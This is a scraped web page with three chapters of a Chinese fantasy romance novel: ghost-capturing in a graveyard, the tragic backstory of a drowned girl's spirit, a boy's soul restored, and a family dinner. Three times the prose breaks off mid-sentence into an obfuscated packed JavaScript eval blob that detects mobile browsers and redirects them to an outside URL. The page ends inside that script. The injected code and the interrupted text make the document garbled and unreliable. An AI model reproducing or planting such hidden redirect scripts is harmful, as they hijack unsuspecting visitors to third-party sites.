璃音也没想到它会来这么一出,这下可不能再袖手旁观了,当下右手向下疾甩,就把腕间手链甩作一条褐色长鞭,鞭身上叮叮当当坠了九只玉石铃铛,其中一只“荒”字铃赤红色光芒大亮,直把整个鞭子都染上了一圈血色红光。 “这间的主人还没死透呢,就要来抢,这可不太礼貌。” 说着挥鞭甩出,破空之声夹杂在一片叮铃声响之中,那鞭矫若游龙、迅如闪电,最后收作啪的一响,正正击在那骨灵两根眉骨之间。 只听那骨灵发出一声凄厉长啸,它本来正向前狂奔,这一下正中眉心,整个脑袋都被抽得向后一仰,脚下却收势不及,兀自往前一滑,整副骨架就跟踩着了一张香蕉皮似的,翘脚一个猛跌,就盆骨着地,狠狠跌坐去了地上。 它又猛叫两声,就见那颗骷髅头七窍里的黑雾缠绕着升起,渐渐缠出一个人形,就升去了半空之中,地上那副白骨一离了黑雾,立刻咔嗒咔嗒几声瘫倒在地,又只是一具普通的尸骨了。 “荒”铃唤灵驱邪,璃音这一鞭一把恶灵抽出,就听身边摇光朗声道:“两位无常使躲了这么久,也该出来干活了吧?” 只听得坟场前边一片柏树林里“咳咳”两声干笑,就走出一黑一白、头戴麻布高帽的两位勾魂使者,那黑袍使者左手掣一条铁链,右手举一根哭丧棒,獠牙青面,正哭丧着脸,出来得不情不愿,那白袍使者一手持折扇,一手拿冥牒,眉头深皱,唇角却噙了一抹微笑,那笑比不笑还瘆人,看得璃音不自觉地摸了摸嘴角,心想她那假笑面具日后还是少用为好。 两使显然是先认出了破军神剑,当即对着摇光躬身一揖,那白袍使者上前道:“拜见北斗七神君,小吏正按牒勾魂,不想惊扰神君尊驾,还请神君勿怪。” 那黑袍使者举着哭丧棒走到马道长身后,就往他背心狠狠一打,喝道:“还不快去干活!” 马道长闷哼一声,也不敢多话,就哆嗦着重新把索链握在了手里。 璃音见状,不可思议地睁了睁眼,向那白袍使者问道:“他是你们的人?” 白袍使者尚来不及回答,就只听砰的一声巨响,却是荀满右边那座坟头也炸了。 23. 第22章 活无常 原来方才那恶灵吃了璃音一鞭,豪华大宅院没抢到不说,就连刚落了户的破落茅草屋也没了,荀满的身子又觊觎不得,痛怒之下,就一头扎进右边的坟头,附上棺中白骨,腾地跃起,就又给扬了一副棺材盖板。 “去把它捉来!”黑无常狠狠把马道长往前一推,推得他一个踉跄不稳,差点就跌了一跤。 马道长只得颤着手,从怀里摸出几张符,贴去那根铁索上面,接着口里咿呀怪叫几声,就睁圆了眼,一抖胳膊,再一次将那大铁链朝那骨灵的脖子挥去。 骨灵一出了棺,就发着吼,一心要往适才一鞭子把它抽离了骨身的小姑娘身上扑,却没注意马道长的大铁链已从另一边挥了过来,待听得铁链在耳边卷起呼呼风响,已是躲闪不及,它只觉喉头一紧,震耳尖锐的吼声被生生截断,接着咔嚓几声骨头断裂的脆响,一颗骷髅头就咕溜溜地滚落去了璃音脚边。 那白骨架子失了头颅,就剩了一团黑雾在脖子上顶着,像一张面目模糊但狰狞的脸,那铁链打碎了头颈相连处的骨头,也并不掉落,仍牢牢拴附在那一团黑雾之上。 马道长见恶灵已被锁魂链勾住,上前两步,大喝一声:“着!” 就见那铁链上贴着的数张符纸一齐燃起,恶灵那张雾蒙蒙的大脸立刻剧烈而夸张地扭曲起来,好似一团烧着的黑色火雾,甚而还滋滋地向外冒出白烟。 璃音见骨灵已被制服得差不多了,便轻轻晃着手里那根鞭子,向白无常问道:“这恶灵是什么生平?” “阎王扣。”白无常一瞥眼看清那长鞭模样,吃了一惊,忙恭恭敬敬将手中一支竹简制成的冥牒递了过去,“这原本是本镇三百年前一个船夫家的女儿,唤作彩秀的,仙子若要得知备细,她的生平在此。” “三百年前?”璃音接过冥牒,没想到这位“骨灵”竟真算得上是个“古灵”了,“三百年前的魂魄,你们拖到今天才来勾么?” 白无常仍旧毕恭毕敬地答道:“这彩秀姑娘乃是怨气化煞,执念难消,无论如何都不肯入幽冥司,但三百年间还算和气,并不曾害人,我们便也不去管她,只是最近不知怎么,突然开始频频夺人骸骨,故而阎王差了小吏前来捉拿。” 璃音闻言,不禁笑道:“原来如此,我说呢,这是勾魂,又不是告白,怎么会拖上三百年。” 摇光听见这话,眸中暗流又冲刷起潜藏在深处的那些暗礁,忽然眸光一闪,桃花眼微弯,就无声地笑了,他微微偏头,向璃音问道:“老师会把告白拖上三百年么?” 璃音被这句突如其来的话问得一愣,加上前世,她虽也接受过商月的告白,但还从未有过自己向别人告白的经历,于是轻轻摇了摇头,说道:“我不知道。” 又想:“若是商月不来与我告白,难道我就会把他约去月光下面,对他说喜欢吗?总感觉是一千年一万年也不会说与他听的。” 于是又添一句:“也许会吧,可能三百年还不止呢。” 摇光闻言微垂了眼睫,却并不接口,只是拿过璃音手中那支竹简:“还是先来看看这位彩秀姑娘的生平吧。” 那竹简只有七寸长短,一指来宽,竹面泛着微黄,上面只刻了三个字,是“姚彩秀”。 摇光伸出两指,就去那名字上面抚过,立时便有大段绿光小字从那竹简中争先恐后地冒了出来,这些字你推我搡着找了一阵位置,最后终于成句成段,工工整整地排列在了空中。 璃音只读了几句,就已皱起了眉头。 原来这个姚彩秀的母亲因病早亡,父亲又在外给人撑船,日夜都不着家,就把她托付在了大伯家里。 她大伯是本县过了县试的秀才,说出去体面人家,不料却是个衣冠禽兽。他见彩秀生得漂亮,年纪又小,就生出了歪心思,白日里就总对她动手动脚,终于到一天晚上动了强,不想彩秀身子瘦小,反抗的劲力却大,一挣下床,就拼了命地往外逃,可怜夜里看不清路,镇上河道又多,好不容易跑出虎穴,又失足跌去了“龙潭”,她被一团水草缠住了脚脖子,游不上来,就这么淹死在河里了。 彩秀一死,大伯对她爹没个交代,更怕这事捅漏出去,要坏了自己名声,就对外编了个故事,说他抓到彩秀偷看杂书,被那书里的淫词浪语勾动了春心,半夜就要来爬自己的床,当晚被他一怒之下赶出了家门,却不想就在河里跌死了。 姚彩秀的父亲听他这样说,哪里还有话回,一张面皮涨得紫红,只觉得这辈子的脸都给这女儿丢尽了,尸骨也没有去捞,就任凭彩秀一日日泡烂在了河里。没过半年,就新寻了一个寡妇进门,那寡妇原先的丈夫给她留下一大笔银子,一嫁过来,就给家里换了间三进的宅院,又过一年,生了大胖儿子,一家三口就这么欢欢喜喜过起快活日子来了。 再过了五年,那个试图奸污彩秀的大伯过了乡试,中了举人,过后更是连连高中,一路官升,直做到朝中三品大员。 而彩秀的尸骨还是一年又一年地烂在河里,且已没有人再记得。 璃音踢了踢脚边那个骷髅头:“这个是她爹还是大伯?” 白无常叹道:“这个是她爹,她大伯已成贵人了,却不葬在这里。” 摇光指着左边地上,骨灵附上的那第一副白骨:“那边那个又是谁的?” 白无常道:“是她亲娘的。” 璃音又把空中那段文字看了一遍,摇头:“她娘却没什么对她不住的地方。” 白无常见二人把竹简上的内容都看过了,就一面收了冥牒,一面说道:“也未必就是寻仇,魂体之间也讲究个相性相合,它们这些游魂要住得舒服,最好就是住自己原来那间,但能把执念熬成煞的,大多死状都不会太好,自己的那间住不了,就去找亲缘近些的,父母、子女,这些都是它们的首选。” 原来不是来寻仇,却是来寻亲的。那她与荀满非亲非故,怎么方才见了荀满的身体,又那么兴奋呢? 忽听得对面“啊”的一声惨叫,璃音举目一看,却原来是恶灵姚彩秀仍旧不肯束手入了幽冥司,黑雾脑袋上张开一个血盆大口,上下嘴巴一闭,就咬上了马道长仅剩的一条胳膊。 马道长已断了一臂,这一条胳膊自是无论如何也不肯再失去的,当即不住口地厉声惨叫,挥臂狂甩,被吞在黑雾中的手指还不忘捏诀施咒,把铁链上的符纸越烧越旺,那恶灵便与他一起挣扎惨叫着,但就是死死咬住了他的手臂不松口。 摇光上阵打架向来是亲力亲为,见了这副情状,凉凉地道:“使者好清闲,雇了个活无常为你们拼命。” “这个却不是我们雇来的。”黑无常举 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13463768|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着哭丧棒走了过来,“是他自己找上门来的。” 璃音新奇:“夜牌头还有自愿的?” 招请生人代履冥职,这兼了阴差的生人便被叫做“活无常”,也被称为“夜牌头”。通常是人间出了大灾大疫,幽冥司忙不过手来,或是要勾拿的魂魄阳气杀气过重,鬼差近不得身,便请一位“活无常”代劳,完事后自然也会给这些“活无常”一些好处,比如可以允他翻翻冥簿,看看流年吉凶,或是再见一面去世亲人的魂魄。 只是既然要能勾住连鬼差都压不下的魂魄,那人选自然是正气越足越好,最好就是找那些一生行善、不图回报的大圣人,简直就是完美的义工,办完事后被索要的好处都能少些。 那马道长去荀娘子家中贴符害人,怎么看这行事都算不得正,因此璃音一开始才会对他“活无常”的身份感到惊奇。 见璃音似有不信,白无常摇了摇手中折扇,说道:“黑使说得不错,是他自己焚香请愿,说他父亲早年间外出行商,船在海上翻了,他卜算出父亲的魂魄被困在海底,就提出要替我们在这里干活,让我们去帮他在海上寻得父亲魂魄,早日带回幽冥,以期投生。” 璃音看向不远处正甩着独臂大战恶灵的马道长,问道:“那他的一条胳膊,就是三年前替你们走阴时丢的吧?” 黑无常点头:“不错,那次捉拿的恶灵养了一条恶犬,护主护得厉害,他的手臂就是被那只疯狗咬下来的。” 摇光突然问道:“他父亲的魂魄,你们可替他寻到了?” 黑无常恭声答道:“小吏们三年前就已替他寻到,送去投生了。” 摇光“嗯”了一声,对这个回答还算满意,璃音点头道:“那也还算是受人之托,忠人之事。” 不过这么听来,这位马道长余生走阴只为父亲还阳,非但不是恶人,还是个大孝子了,那他又为什么要给荀娘子送去那些驱魂符呢?难道他自己父子分离,从此就红了眼,看不得别人骨肉团聚? 这事太过蹊跷,还是得亲自问问他才行。 耳听得马道长的叫声越来越凄厉,方才看了姚彩秀那般悲惨的生平,又让璃音不忍再出鞭对她抽打,便右手一挥,又将鞭子收作腕间一条手链,捏诀叩印,催动链上“玄”铃,登时玄光大盛,往姚彩秀身上一照,就照出一个十三四岁模样的窈窕少女。 那少女被这玄光一照,立时惊叫一声,就松开了一口细白的牙齿,身子也从那副白骨中脱离出来,像一只受了惊的小鹿,撒开脚丫,就要往前面树林里跑。 “姚姑娘还请留步。” 话音未落,破军已一个飞身,连带着整个“星罗棋布”,拦去了姚彩秀跟前。 璃音上前几步,对上姚彩秀转来的惊惶的眼,她本想说几句安慰的话,但她还有个更重要的问题,非要先向她问个明白不可:“姚姑娘,你来此盗骨,可是受了什么人指点? 否则没道理安安分分地过了三百年,突然就掘起双亲的坟来,她一定是近来偶然在哪里得知了这附骨之法。附骨、夺舍……这些东西究竟是谁来告诉她的呢?会是那个神秘的鬼王吗? 姚彩秀却并不作答,望向璃音的眼神渐渐由惊慌转作了警惕,然后突然哈哈大笑一声,就扭过了身子,直冲着横在身前的破军,一头撞了上去。 24. 第23章 荀满之“死” 姚彩秀这一下撞剑撞得突然,璃音已是阻拦不及,眼看她额头对准了剑锋直冲而去,破军随摇光征战无数,斩魔诛邪千百年,乃是当世一等一的神器,若被这一剑削中头骨,她这小小恶灵立时就要魂飞魄散。 幸而破军机敏,本命法宝与主人心意相通,它知摇光对这抹游灵并无杀意,当下剑身急急一转,就把刃锋翻作了刃面,只听当的一声,姚彩秀的额头与剑身相撞,登时晕倒,“星罗棋布”便似一张大网兜下,将撞上来的猎物牢牢收束其中,姚彩秀倒在网中,渐渐又变回一团黑雾,再凝不成人形了。 姚彩秀这一下魂魄受损,谁也再无法向她探得什么了。 黑无常拖着铁索上来,将那黑雾团团捆了,白无常飘在一旁,掏出姚彩秀的冥牒,将她的名字用朱笔勾了,口中幽幽叹道:“这姑娘也是个傻的,这又是何必?” 璃音沉着脸,冷冷地道:“她是在包庇什么人。” 她原只是疑心,此时心中却有七八分确定了:白鹤醉酒,恶灵盗骨,这些事情背后都一定有人在指点谋划,而这个人十有八九就是正躲在暗处,盘算着要屠尽昆仑的鬼王。 摇光收了剑,看白无常在旁边对着冥牒勾画,忽然问道:“使者手上可有荀满的冥牒?” “何时亡故的?”白无常停下朱笔。 摇光看着棺材里鲜活如生的荀满尸体,说道:“三个月之前。” 白无常从袖中抖出一捆竹简,色泽青绿,都编在一册,他挨个翻了一遍,又去黑无常袖中掏出几片泛了黄的,逐一看过,才抬起头来,说道:“不曾有个叫荀满的。” 黑无常牵着被捆成一团的姚彩秀,说道:“没有他的冥牒,这小子只是暂时离魂了。” 璃音耳朵听着这边说话,眼睛却瞥见那边马道长佝着身子要溜,这人行事正邪难辨,委实诡异,说他像个恶人,却大行孝举,可若说他大义,又总做些鬼祟行径,璃音正有几句话要问他,就把他叫住道:“马道长,你往哪里去?” 话音甫落,就隐隐听得几声汪汪犬吠,似是自前方林中传来,马道长闻声脸色大变,也不回话,顾不得黑白两位无常使者尚在,转身拔足便奔。 璃音正要追赶,就见林中倏地窜出一只大黄狗来,只见它眼若铜铃,吠如虎啸,撒开四足狂奔,转眼就已追至马道长背后,狂吼一声,飞身扑上。 马道长惊声大叫,躲跑不掉,俯面一跌,已被这黄狗扑倒在地,危急之中,独臂后挥,向后扔出一张破烂黄符。 那符一上了黄狗的身,登时燃起幽幽绿火,大黄头中黄符,当即人立起来,似是痛极,两只前脚乱挥,凄声长叫。 马道长趁机从黄狗下面脱身爬起,正要奔行,黄狗忽然张开大口,露出一嘴尖利犬牙,发狂似的向前一扑,就咬住了马道长那只多灾多难的臂膀,那黄狗却不似姚彩秀,只为逃身,并不伤人,它一咬着肉,闻着鼻尖传来的那股血腥,立时便涨红了眼,对着那根肉胳膊疯狂撕咬起来,只听得惊天动地数声惨叫,马道长就双眼一翻,不省人事,晕死了过去。 马道长刚一晕倒,那黄狗便也就“啊呜”几声,脱了力般,脑袋一垂,倒去了地上。 “大黄?” 璃音越看那狗越觉得眼熟,此时听它“啊呜”哼叫,终于认出它就是荀家那只大黄。 她和摇光赶上前去,就见马道长一只胳膊血肉模糊,已是经脉俱损,再难堪用。而大黄啃得满嘴是血,长舌外吐,脑袋上一张符纸幽幽燃着,璃音伸手把那符揭了一看,正是写了荀满名字的一张驱魂符。 “荀满……” 摇光摸着大黄柔软的皮毛,正自沉吟,就听得一个女声自林间焦急传来:“大黄!大黄!”是荀娘子一路追着大黄来了。 璃音忙起身,向她招手道:“荀娘子,我们在这里!” 黑白两使见有生人来了,对视一眼,当即向着璃音与摇光无声一揖,就扛上姚彩秀的魂魄,飘然往阴山道去了。 “大黄……啊!” 荀娘子远远望见大黄倒在地上,心中焦急,飞奔近得前来,待看清眼前这副血腥惨状,不禁吓得脸上血色尽褪,张着嘴巴呆立了好一会儿,才颤着声道:“这……大黄……马道长……这是怎么了?” 摇光挥手施了个净体咒,将大黄口中血污除尽,抬眸问道:“荀娘子,大黄是何时来你家的?” “它它它它……” 荀娘子看他一出手就是仙法,更是惊得口不能言,结巴了一阵,才道:“它是跟着小满从街上跑回来的土狗,在家得有……有三年了。” 璃音解下腰间那只青铜铃铛,去大黄耳边摇着问道:“它三年前也爱吃鱼么?” “吃也吃的,就是今年格外馋些。” 说着心下凄然,一时竟被触动了心事,荀娘子眼中涌出泪来,俯下身子,抱起大黄,一下一下抚过它的头,说道:“那炸鱼干是小满最爱吃的,它一定……一定是思念小满,才总闹着要吃,它是最黏小满的,如今也是跟着小满走了吧。” 话犹未了,就听得“啊呜”一声细弱的哼鸣,大黄一个翻身,就双目清明,从荀娘子怀中立了起来。 荀娘子惊呼一声,虽有惊吓,但更多欢喜,当下又哭又笑地打一下大黄的屁股,骂道:“狗骗子,你原来没死!” 大黄翘起尾巴,原地生龙活虎地转了两圈,就奔开四只腿儿,汪汪叫着,向荀满坟头飞跑而去。 璃音收了铃铛,去扶荀娘子起身,笑道:“一起过去看看吧,荀满这时候也该起床了。” 荀娘子起身起到一半,听了这话小腿一软,幸而摇光手快,一把将她另一只胳膊扶住,才没叫她又跌坐在地。荀娘子方才已见识过两人的仙法,哪里还能听不懂这话中的深意? 她胸膛剧烈起伏着,显是已经喜得不知要如何呼吸吐气:“夏姑娘,你的意思是,小满……小满他……” 璃音并不答话,只微微一笑,一手扶稳荀娘子,一手就去扯过摇光的一角衣袖,腕间“宙”字铃铛一闪,就带着两人一起闪身到了小满坟前。 大黄早已跳在了坑里,伸着舌头,在小主人脸上到处舔着,而荀满面色红润,真如活着的一般,只是兀自紧闭双眼,完全没有要醒来的迹象。 荀娘子赶忙扑去荀满身前,一摸心口,果然温热,正要欢喜,但看看儿子又不得醒,忙仰头去望二位仙人,急道:“夏姑娘,慕公子,这……” “啊,差点忘了。”璃音拿出引魂铃去荀满耳边一摇,“起床了,别叫你娘担心。” 叮铃铃一声响过,荀满久不出气的鼻孔里终于呼出一口热气,接着眼皮一动,就睁开眼来,他一醒来,就眼角向下一挂,小嘴往前一撅,眼泪一阵狂涌,叫出一声震天响的“娘”来。 于是两个人就你一声“小满”,我一声“娘”地在这坟场里面拼起嗓门来,把林里的乌鸦都惊得飞跑了几只。 璃音心想自己果然是个铁石心肠的,没一会儿就开始受不了小孩儿聒噪的哭声,又响又亮,还嚎个不停,吵得她脑瓜子嗡嗡地响,但她又不好意思打断人家母子重聚的这份欢喜,难受地揉了揉脑壳,突然想到:自己身边不就站着一个绝顶好意思做这种事的神君么? 于是拉拉摇光的袖子,故作疑惑地低声问道:“神君,这到底是怎么回事呀?”见摇光的目光转来,她忙微微睁大双眼,作出十分的懵懂之状。 摇光在璃音的脸上默默盯了一会儿,忽然轻笑一声,就果然干脆地一把扳过荀满的肩膀,劈头就用问话打断了正抱头痛哭的这对母子:“这三个月,你都去了哪里?” 璃音虽然得逞,但听他那声轻笑,心头不禁砰地一跳,不知为何,她总觉得这位摇光星君有些邪门,他嘴上虽不说,却好像已全然看穿了她心中所想。不光是眼前这一桩,就连她这一世回来后,不敢在外练功这种深埋在心底的隐秘,他也竟似全然知晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13481092|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,简直像是偷施了读魂术,把她脑子里的角角落落都读过一遍似的。 可他们在前世并算不上相识。 便说这一世,若不是西王母强行把他们拉来凑在一处,他或许永远也不会认得自己这样一个昆仑小巫,更别提什么知心知意,知己知彼了。 而且他的性情与传闻中所说的,甚至与她前世所亲眼瞧见的,都大是不同。 乖戾时也有,但却极少,尤其是对着自己时,大多数时候都称得上乖巧了。 有古怪,这位摇光神君身上必定大有古怪!难道他也被夺舍了?但看破军的样子,他又不能是个假的…… 璃音正自胡思乱想间,荀娘子已先止住了哭声,一边前后翻着儿子身体查看,一边说道:“是啊,你不是被公主的马踢中了身子?怎的没事?那仵作当时也说,验不出你身上的伤。” “那匹马根本就没有踢到我!”荀满伸出小手,狠狠抹一把眼泪,转过头去,咬牙指向那边晕在地上的马道长,“是那个坏道士!是他把我绑走了,每天晚上就逼我替他干活!他要捉恶鬼,他不敢,就叫我去替他捉!” 璃音闻言,不禁暗暗觉得好笑:黑白无常见了恶灵发虚,就发点阴威,偷点懒,把这些脏活累活都丢给“活无常”干,不想这“活无常”胆子也虚,也要偷懒,又给自己捉两个小鬼头,也发起威来,丢给手下的小鬼头干。 这一层层“我压你,你压他”地下来,最后这些活竟是压在一个六岁小孩的游魂身上去了。 想来当时揽华公主的那匹马根本就没有踢中荀满,只是小孩儿惊了马,马便失了控地狂奔,那马也同时惊了小孩儿,便像揽华公主一样,一时惊魂,离体而出,在身子附近游荡起来,就被马道长拐走,逼着做了自己的前锋小卒。 游魂一旦离体久了,便是假死也要成了真死,这小鬼头便就只能永世都做自己的奴隶鬼了。 但小孩儿的魂体毕竟强健,马道长绑走荀满的游魂时大概也没想到,那一吓只吓出了荀满的三魂六魄,却还留了一魄守在体内。马道长知晓后,就开始日夜害怕荀满的游魂找回自己体内,再难驱使,更怕他醒来后就要揭穿自己的恶行,就去荀满坟里埋了许多驱魂符,要他永远归不得肉身。 大黄绕着小主人蹦跳个不停,璃音摸一把它的耳朵,向荀满道:“那你后来怎么会去到大黄身子里面的?” 此言一出,璃音立刻感受到旁边摇光默默投来的一瞥,那眼神分明在说:“你这不是什么都知道吗?”她只得干咳一声,摸了摸鼻子,装作没看见。 “你……你在大黄身子里面?!”荀娘子睁圆了眼睛,惊呼出声。 荀满点点头,道:“是有一天捉鬼,彩秀姐姐帮我跑了,还告诉我那个恶道士怕狗,我身上被他贴了符,回不去,就按着彩秀姐姐教的办法,躲进了大黄的身子,他果然就不敢来捉我了。” 荀娘子闻言,直愣愣地呆住了,万没想到这几个月来,自己日思夜想的大儿子就一直躲在这条大黄狗体内,日日陪在自己身边。 荀满又道:“今天那个恶道士又要来家里贴符,被我赶走了,晚上我听到彩秀姐姐的叫声,就想肯定是那个恶道士去抓彩秀姐姐了,过来以后,就看到彩秀姐姐已经被捉了,我救不了彩秀姐姐。” 他听起来倒与姚彩秀的恶灵交情甚笃,璃音忙问:“你怎么认识姚彩秀的?她还和你说什么了?” “是我捉鬼的时候碰见的。”荀满挠着头回忆,“她只说她叫彩秀,教我躲在大黄身体里面,别的什么也没说。” 摇光又问他:“这三个月里,你离开过望仙镇么?” 荀满摇头:“没有。” 璃音和摇光对视一眼,均想:那么揽华公主床头那个小鬼,就果然不是荀满了。 但不是荀满,又会是谁呢?谁会对她有那么深的执念,每夜准时准点,都要去她床头哭一回,说些莫名其妙的话,又坐上一整晚呢? 25. 第24章 寡妇发财 荀满还魂,荀娘子自是欢喜不已,第二日板栗也不卖了,就带了两个儿子,又叫上守桥人老高,拉着璃音和摇光一起上了街,挑了望仙镇一家本帮菜做得最地道的酒楼,点了一桌子好汤好菜,就请大家吃喝欢庆。 璃音看着一桌的嫩笋鲜鱼汤、炙烤小鱼排、开花大鲈鱼,惊道:“荀娘子,你发财啦?” 荀娘子眉花眼笑地搓了搓手,拿起筷子,夹了一块小鱼排,咬在嘴里说道:“可不是发财了!就是用的姑娘昨日给的钱。” 桌上除了荀娘子和两个不谙世事兀自吃得欢快的小孩,其余三人的筷子都不禁顿了顿。 昨日璃音给她的钱,那不就是…… 璃音呆了一呆,默默放下筷子,忍不住开口道:“那不是用来给你……” 不等她说完,荀娘子就又给自己夹了一只大虾,摆着手道:“那个老不死的睡了一辈子草席,早习惯了,叫他去睡金打的棺材才不要折煞!有这银子,还不如带孩子们吃点好的。” 说着又伸出筷子,把那大虾给荀满碗里夹去一只:“小满,多吃点。” 荀二见了,就撅了嘴,扔了一根筷子,拿另一根敲着碗闹:“娘偏心!好东西只给哥哥夹!” “你也有,你也有。”荀娘子就呵呵笑着又去夹了一只大虾,放去了荀二碗里。 璃音昨晚给了荀娘子一锭金子置办棺木,虽说荀满是不必埋了,但看荀父还用一卷草席潦草地裹着尸,毕竟不太体面,这其中终归也有揽华公主的过错,便连夜给公主去了一封信,告诉她荀满未死,叫她安心入睡,又向她讨了些抚恤的银钱,交与了荀娘子。 至于那个一晚上来来回回,又是送钱又是送信的跑腿,现在正叉开脚爪蹲在摇光肩头,竖睁一双黑豆眼,点着脖子学舌乱叫:“老不死的!睡草席!老不死的!睡草席!” 摇光笑眯着眼给它喂了一颗绿豆。 璃音努力无视掉那只聒噪的黄脸鹦鹉,心道:“看他们母子和乐融融,原来夫妻间却有不睦。” 老高在一旁慢慢呷了一口酒,幽幽地道:“娘子,你总不会还在计较着老荀那件事。” “人都死了,谁跟他计较那些来。”荀娘子给自己盛了一碗鲜汤,舀出一勺,对着滚烫的热气吹了两口,“他到了地下,有胆也去把阎王的嫩屁股摸个够。” 有故事! 那黄脸鹦鹉一听有新鲜的八卦,立时扑扇几下翅膀,兴奋地叫道:“嫩屁股!嫩屁股!” 老高尴尬地又往嘴里送了一口酒,说道:“男人嘛,他就是一时迷了心窍,再说那丫头的主子你也晓得了,不是个安分的,整天在外面和人不清不楚地勾三搭四,昨天和家里小厮滚在一处亲嘴,不被她老公的兄弟抓个正着,现在大牢里蹲着呢,这样家主子带出来的丫头,哪里能不歪的,她说的话也信不了。” 荀娘子兀自吹着汤,不去搭话。 璃音听了高大哥这话,却“啊”地一声,想起了昨日与摇光误入的那一场捉奸大戏来,他们当时还被带去县府里供了口词,却不想那被捉的“淫/妇”与荀娘子一家还有这样一番纠葛,似乎是她的丫鬟与荀娘子的丈夫有染,才让荀家夫妻离心的。 她凑过头去,低声问道:“高大哥,你说的,是昨天差点被砍的那个楚雁儿?” “不错,就是她。”老高啧啧摇头,“那家里没个男主人压着,宅子里吹出来的风都是淫的,她那个丫鬟山桃,就老想出来勾搭老荀,还好老荀拎得清,倒也还没和她怎样。” 荀娘子听见这话,从鼻子里哼出一声冷笑:“说什么悄悄话,这里谁听不见。” 说着把碗往桌上重重一放:“我也不怕夏姑娘和慕公子笑话,这事我就这样摊开了讲,人家十来岁娇滴滴、水灵灵的小姑娘,干嘛要去勾搭那个老不死的,自己偷摸别人小姑娘的屁股,被抓了告到门上来,还想有什么怎样?” 原来陈天财在后山有一片栗子树,就挨在荀娘子家那几棵边上,每年栗子熟了,陈家那个小丫鬟山桃就绑了头发,束了袖口,扎起腰身,穿梭在林间,采收板栗。她有时踮着脚尖,昂起一片雪白的脖颈,伸手去够那些枝条上的栗子,优美地像一只天鹅;有时又拿一根长竹竿,对着高处的树枝轻轻拍打,树影晃动间,就只见那细细的腰肢袅娜,真是看得人竹竿儿晃,心也晃。 这里的许多男人就爱赤膊坐在田埂上,看她扭着那段水蛇般的细腰,挺着那根白天鹅般纤长的脖颈,一会儿摇树干,一会儿敲树枝,一会儿又微微喘着气,去擦额头上的细汗,他们眼里饱着福,嘴里再扯些家国大事聊个半天,嫌几句家里的婆娘,骂几句大官,等被嫌弃的家里婆娘来喊吃饭,就拍拍赤裸在外的肚皮,心满意足地回家去了。 那天荀父采着自家的栗子树,一打眼,就瞧见山桃在一旁背对着自己,正一下下地弯着腰,拾捡落在地上的熟栗子,这姿势叫这个四十多岁的男人一下子就上了劲,登时两眼发直,脑子里什么也不晓得了,只晓得要伸出手去,摸一把小姑娘的嫩屁股过瘾。 听荀娘子讲完这其中原委,摇光给那黄脸鹦鹉喂豆子的手一停,大为不解道:“你当时怎么不砍了他的手?” 鹦鹉当即拍着一对翅膀,学主人大叫:“砍手!砍手!” 才五岁的荀二哪里听得懂男女间的龌龊事,娘和高叔叔说的那些话他都只懵懵懂懂听了个大概,其实根本不知道他们各自在生什么气,现在见那鹦鹉叫着好玩,就也跟着拍手喊道:“砍手!砍手!” 璃音眼角抽了抽,伸出两根指头一捏,将那黄脸鹦鹉的小嘴捏住,然后扭头看向摇光,眼神中充满了对下一代的关切:“慕公子,等你以后有了小孩,还是让尊夫人去教吧。” 那黄脸鹦鹉被捏住了嘴,只觉得鸟生再无意趣,喉咙里啾啾唧唧叫了几声,就阖了眼皮,身子一瘫,开始装死。 这小家伙还会碰瓷!璃音可不想被它讹上,一松了手,就见它小腿一抖,又开始欢腾地叫唤:“砍手!砍手!” “难道老师觉得那个男人不该被砍手?”摇光神色自若,又慢悠悠地给小鹦鹉喂上一粒绿豆。 璃音手托着下巴,心想:那个男人就算真被砍了手,那也是他活该,只是一个男人不管在外面对别的女人做了多少龌龊事,真正受伤的永远只有他的妻子,和那个被他骚扰的女人,至于他的孩子,尤其是儿子,却并不一定会觉得自己的父亲有错,甚而有时还会觉得母亲整日里撒泼骂街,很不贤惠体面,难怪父亲要在外另寻温柔乡。 好在荀家两个儿子年纪尚小,也向来都更与母亲亲厚。这会儿两个小孩儿,一个游魂当久了,仿佛饿鬼还身,只管狂扒饭碗;另一个全然一身稚气,嘻嘻哈哈,只顾咧着牙跟鹦鹉学舌,把筷子挥舞成了菜刀,大喊着要砍父亲的手。 只有同为四十岁老男人的老高仍在努力为他辩解着:“那也只是山桃那个丫头自己这样说,谁知道是不是她勾引完了又不认账。再说老荀人都没了,也算是为小满这事急没的吧?咱们活人嘴上还是积点德,少说点死人的不是。” 荀娘子给一旁吃了一嘴油的大儿子擦着脸,哼道:“谁知道他那会儿在田埂上着急是为着小满,还是为看得见摸不着那边摘栗子的小姑娘。” 见荀娘子的话越讲越难听,老高终于忍耐不住,跳起身道:“你也不要把老荀想成这等下三滥的人,想我小时候还和他一起去观里算过签,那道长看了他的命格,说他是三品大官转投故里,前世里有过大作为的。” 璃音听见这话,却是一怔:三品大官,这几个字怎么感觉最近才在哪里听到过? 正想着,就见摇光伸出一根手指,往茶水里一蘸,在桌上写了个“姚”字。 啊,对了,是妄图奸污姚彩秀,却反咬一口的那个大伯!最后做到了朝中三品大官的。 荀娘子听老高拔高了嗓门,也扔了擦嘴的帕子,霍地起身道:“笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 